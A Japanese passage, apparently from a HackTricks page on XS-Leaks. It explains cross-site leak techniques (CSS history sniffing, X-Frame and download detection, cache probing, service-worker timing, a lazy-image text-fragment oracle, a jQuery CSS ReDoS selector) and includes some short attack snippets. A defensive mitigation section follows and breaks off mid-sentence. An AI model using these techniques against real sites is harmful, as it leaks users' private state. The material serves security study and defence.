漏洩技術として、攻撃者はwindow.getComputedStyleメソッドを使用して、特定のHTML要素のCSSプロパティを読み取ることができます。結果として、影響を受ける要素とプロパティ名がわかっている場合、攻撃者は任意のCSSプロパティを読み取ることができます。

CSS履歴

{% hint style="info" %} こちらによると、ヘッドレスChromeでは機能しないようです。 {% endhint %}

CSSの:visitedセレクタを使用すると、訪れたURLに異なるスタイルを適用することができます。
以前は、getComputedStyle()を使用してこの違いを検出することができましたが、現在のブラウザは常にリンクが訪れたものとして値を返し、セレクタを使用して適用できるスタイルを制限することでこれを防止しています。
そのため、ユーザーにCSSが影響を与えた領域をクリックさせる必要がある場合があります。これはmix-blend-modeを使用して行うことができます。
リンクを異なる色で描画するには時間がかかるため、レンダリングタイミングを悪用するなど、ユーザーの操作なしに行う方法もあります。
クロミウムのレポートで提供されたPoCは、複数のリンクを使用して時間差を増やすことで機能します。

ContentDocument X-Frame Leak

Chromeでは、クロスオリジンページに埋め込むことが許可されていない場合、X-Frame-Options（XFO）ヘッダーがdenyまたはsame-originに設定されているため、代わりにエラーページが表示されます。オブジェクトの場合、このエラーページはcontentDocumentプロパティをチェックすることで検出できます。通常、このプロパティはnullを返しますが、クロスオリジンの埋め込みドキュメントへのアクセスは許可されていないため、空のドキュメントオブジェクトが返されます。これはiframesや他のブラウザでは機能しません。開発者はすべてのページにX-Frame-Optionsを設定するのを忘れることがあり、特にエラーページではこのヘッダーが欠落していることがよくあります。リーク技術として、攻撃者はこれをチェックすることで異なるユーザーステートを区別することができます。

ダウンロードの検出

Content-Dispositionヘッダー（Content-Disposition: attachment）は、ブラウザがコンテンツをダウンロードするかインラインで表示するかを示します。

もしログイン済みのユーザーのみがファイルをダウンロードすることができるページにアクセスできる場合、ヘッダーを使用してその動作を検出することが可能です。

ダウンロードバー

Chromiumベースのブラウザでは、ファイルがダウンロードされると、ダウンロードプロセスのプレビューがブラウザウィンドウに統合された下部のバーに表示されます。攻撃者はウィンドウの高さを監視することで、「ダウンロードバー」が開かれたかどうかを検出することができます。

ダウンロードナビゲーション（iframesを使用）

Content-Disposition: attachmentヘッダーの検出方法のもう一つは、ナビゲーションが発生したかどうかをチェックすることです。ページの読み込みがダウンロードを引き起こす場合、ナビゲーションはトリガーされず、ウィンドウは同じオリジン内にとどまります。

ダウンロードナビゲーション（iframesを使用しない）

前の方法と同じですが、iframesの代わりにwindow.openを使用します。

Partitioned HTTP Cache Bypass

{% hint style="warning" %} この技術が興味深い理由: Chromeには現在、キャッシュのパーティショニングがあり、新しく開かれたページのキャッシュキーは次のようになります: (https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m=xxx)。しかし、ngrokページを開いてそこでfetchを使用すると、キャッシュキーは次のようになります: (https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)、キャッシュキーが異なるため、キャッシュを共有することはできません。詳細はこちらで確認できます: Gaining security and privacy by partitioning the cache
（ここのコメントより） {% endhint %}

サイトexample.comが*.example.com/resourceからリソースを含む場合、そのリソースは直接トップレベルのナビゲーションを通じてリクエストされた場合と同じキャッシュキーを持ちます。これは、キャッシュへのアクセスがリソースの読み込みよりも速いため、ページの場所を変更し、20ms後にキャンセルすることを試みることが可能です。もし停止後にオリジンが変更された場合、リソースはキャッシュされていることを意味します。
または、キャッシュされている可能性のあるページにいくつかのfetchを送信し、かかる時間を計測することもできます。

手動リダイレクト

AbortControllerを使用したFetch

AbortControllerは、_fetchとsetTimeout_と組み合わせて使用することで、リソースがキャッシュされているかどうかを検出し、特定のリソースをブラウザキャッシュから削除することができます。この技術の素晴らしい特徴は、新しいコンテンツをキャッシュすることなくプロービングが行われることです。

スクリプトの汚染

  • 組み込み方法: HTML要素（script）
  • 検出可能な違い: ページのコンテンツ
  • 詳細情報: https://xsleaks.dev/docs/attacks/element-leaks/#script-tag
  • 概要: クロスオリジンスクリプトがページに含まれている場合、その内容を直接読み取ることはできません。ただし、スクリプトが組み込み関数を使用している場合、それらを上書きして引数を読み取ることができ、貴重な情報が漏洩する可能性があります。
  • コード例: https://xsleaks.dev/docs/attacks/element-leaks/#script-tag

サービスワーカー

  1. 攻撃者は自分のドメイン（attacker.com）でサービスワーカーを登録します。
  2. メインドキュメントで、攻撃者はターゲットのウェブサイトに対してナビゲーション（window.open）を発行し、サービスワーカーにタイマーを開始するように指示します。
  3. 新しいウィンドウが読み込みを開始すると、攻撃者はステップ2で取得した参照をサービスワーカーが処理するページにナビゲートします。
  4. ステップ3で実行されたリクエストがサービスワーカーに到着すると、204（コンテンツなし）のレスポンスを返し、ナビゲーションを中止します。
  5. この時点で、サービスワーカーはステップ2で開始したタイマーから測定値を収集します。この測定値は、JavaScriptがナビゲーションをブロックした時間に影響を受けます。

{% hint style="warning" %} 実行タイミングでは、ネットワーク要因を排除して、より正確な測定値を得ることが可能です。たとえば、ページをロードする前にページで使用されるリソースをロードすることで実現できます。 {% endhint %}

Fetchタイミング

クロスウィンドウタイミング


Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築し、自動化することができます。
今すぐアクセスを取得してください：

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

HTMLまたは再インジェクションで

ここでは、HTMLによるHTMLコンテンツのインジェクションから情報を外部に流出させるための技術を見つけることができます。これらの技術は、何らかの理由でHTMLをインジェクションできるがJSコードをインジェクションできない場合に興味があります。

ダングリングマークアップ

{% content-ref url="dangling-markup-html-scriptless-injection.md" %} dangling-markup-html-scriptless-injection.md {% endcontent-ref %}

画像の遅延読み込み

もしコンテンツを外部に流出させる必要があり、秘密の前にHTMLを追加することができる場合、一般的なダングリングマークアップの技術をチェックしてください。
ただし、何らかの理由で文字ごとに行う必要がある場合（たとえば、通信がキャッシュヒットを介して行われる場合）、このトリックを使用することができます。

HTMLの画像には、読み込み時に遅延するための「loading」属性があります。この場合、画像はページの読み込み中ではなく、表示されるときに読み込まれます：

<img src=/something loading=lazy >

したがって、できることは、秘密の前にウェブページを埋めるために大量のジャンク文字（例えば数千の「W」）を追加することです。これにより、画像が最初にロードされないようにします。

ただし、ボットがページにアクセスするようにするために、以下のようなものを使用します。

#:~:text=SECR

ウェブページは次のようになります：https://victim.com/post.html#:~:text=SECR

post.htmlには、攻撃者の不要な文字と遅延読み込み画像が含まれ、その後にボットの秘密が追加されます。

このテキストは、ボットがテキストSECRを含むページ内の任意のテキストにアクセスするようにします。そのテキストは秘密であり、画像の直下にあるため、推測された秘密が正しい場合にのみ画像が読み込まれます。したがって、文字ごとに秘密を外部に漏洩するためのオラクルができます。

これを悪用するためのいくつかのコード例：https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e

遅延読み込みを使用した別の例はこちらで見つけることができます：

{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %} event-loop-blocking-+-lazy-images.md {% endcontent-ref %}

ReDoS

{% content-ref url="regular-expression-denial-of-service-redos.md" %} regular-expression-denial-of-service-redos.md {% endcontent-ref %}

CSS ReDoS

jQuery(location.hash)が使用されている場合、タイミングを利用してHTMLコンテンツが存在するかどうかを判断することができます。これは、セレクターmain[id='site-main']が一致しない場合、残りのセレクターをチェックする必要がないためです。

$("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']")

CSSインジェクション

{% content-ref url="xs-search/css-injection/" %} css-injection {% endcontent-ref %}

防御策

このセクションでは、https://xsinator.com/paper.pdfで推奨されている一部の緩和策を見つけることができますが、https://xsleaks.dev/の各セクションにはさらに多くの緩和策があります。これらのテクニックに対する保護方法についての詳細情報は、そちらを参照してください。

インクルージョンメソッドの緩和策

  • HTML要素。CORPヘッダーを使用してページがリソースを埋め込むことができるかどうかを制御することができます。CORPは、same-originまたはsame-siteに設定することができ、それによってクロスオリジンまたはクロスサイトのリクエストをブロックします。クライアント側では、ChromiumベースのブラウザはCORBアルゴリズムを使用して、クロスオリジンリソースリクエストを許可するか拒否するかを決定します。
  • フレーム。iframe要素がHTMLリソースを読み込むのを防ぐための主な防御策は、X-Frame-Optionsの使用です。また、CSPディレクティブframe-ancestorsを使用することでも同様の結果を得ることができます。埋め込みが拒否されると、インクルージョンメソッドは応答の違いを検出できません。
  • ポップアップ。window.openerへのアクセスを制限するために、COOP HTTPレスポンスヘッダーは3つの異なる値を定義します: unsafe-none（デフォルト）、same-origin-allow-popups、same-origin。これらの値を使用して、ブラウジングタブとポップアップを分離することができ、それによってポップアップに基づく情報漏洩のテクニックを緩和することができます。
  • JavaScriptリクエスト。クロスオリジンのJavaScriptリクエストは、XS-Leak攻撃でよく使用されます。なぜなら、攻撃者は発行されたリクエストに対して細かい制御を持っているからです。ただし、これらのリクエストはCORSが有効になっていないため、スクリプトや画像などのHTML要素によって送信されるリクエストと同じ制限の対象となります。したがって、この情報漏洩のテクニックの影響は、CORPとCORBによっても緩和されることができます。

より一般的な方法:

  • Fetchメタデータ。これらのリクエストヘッダーは、サーバーの所有者がユーザーのブラウザが特定のリクエストを引き起こした方法をよりよく理解するためのものです。Chromeでは、Sec-Fetch-*ヘッダーが自動的に各リクエストに追加され、リクエストの起源に関するメタデータを提供します。たとえば、Sec-Fetch-Dest: imageは、画像要素からトリガーされました。Webアプリケーションは、その情報に基づいてリクエストをブロックすることを選択できます。
  • Same-Site Cookies。Same-Siteクッキーフラグを使用すると、ウェブサイトはクッキーを同一サイトまたはファーストパーティのコンテキストに制限するかどうかを宣言できます。主要なブラウザはすべてSame-Siteクッキーをサポートしています。GCでは、属性のないクッキーはデフォルトでLaxになりました。XS-Leakでは、Same-Siteクッキーは情報漏洩の攻撃可能性を大幅に制限します。一方、window.openに依存する情報漏洩のテクニックはSameSite=Laxでも機能します。クライアントサイド証明書やHTTP認証など、他の認証方法を使用するウェブサイトは依然として脆弱です。
  • クロスオリジン識別子の非連結性（COIU）。COIU、またはFirst-Party Isolation（FPI）としても知られるCOIUは、ユーザーがFFのエキスパート設定（about:config）で有効にできるオプションのセキュリティ機能であり、最初にTor Browserで導入されました。抽象的には、これは拡張された同一サイトコンテキストです。これにより、複数のリソース（Cookie、キャッシュ、クライアント側ストレージなど）が訪れたすべてのウェブサイトではなく、最初のパーティにバインドされます。有効にすると、COIUはポップアップを使用するメソッドのみがポリシーの最初のパーティの要件に合うようになるため、XS-Leakの適用範囲が大幅に減少します。
  • トラッキング保護。Appleは、SAに**Intelligent Tracking Prevention（ITP）**というプライバシーメカニズムを実装し、クッキーや他のWeb APIの機能を制限することでクロスサイトトラッキングに対抗しています。SAの新しいバージョンでは、ITPはデフォルトですべてのサードパーティクッキーを例外なくブロックします[74]。このブロックにより、ポップアップに基づかないすべての情報漏洩が防止されます。FFもEnhanced Tracking Prevention（ETP）で同様のアプローチを取りましたが、彼らはトラッキングプロバイダに属する特定のサードパーティクッキーのみをブロックします。XS-Leakの文脈では、ETPはこれらのトラッキングドメインをターゲットにした情報漏洩のテクニックを緩和します。
  • ブラウザ拡張機能。セキュリティに気をつけているユーザーは、ブラウザ拡張機能を使用して特定のインクルージョンメソッドを防止することができます。

情報漏洩のテクニックの緩和策

  • イベントハンドラ。この情報漏洩のテクニックに対する最も効果的な緩和策は、すべてを拒否することですが、これによりインターネット上のほとんどのウェブアプリケーションが機能しなくなります。したがって、イベント内で収集できる必要な情報の数を減らすことを提案します。たとえば、CSP違反イベントは、blockedURIフィールドにリダイレクションのターゲットURLを含まないようにするべきです。この動作はFFと新しいバージョンのGCで実装されていますが、SAはまだ脆弱です。
  • エラーメッセージ。情報漏洩のテクニックに基づくXS-Leakを緩和するためには、2つの主要な要件があります。まず、エラーメッセージには詳細な情報が含まれていない必要があります。これはイベントハンドラのメッセージと同様です。第二に、ブラウザはエラーメッセージの発生を最小限に抑える必要があります。SRIエラーやContentDocument XFO、Fetch RedirectなどのXS-Leakでは、エラーメッセージがスローされるかどうかを検出します。
  • グローバル制限。グローバル制限を悪用する情報漏洩のテクニックを修正するのは比較的複雑です。なぜなら、それらは物理的な制約に依存しているからです。一般的な推奨事項は、**小規模なサ

参考文献

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥


Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。
今すぐアクセスを取得：

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}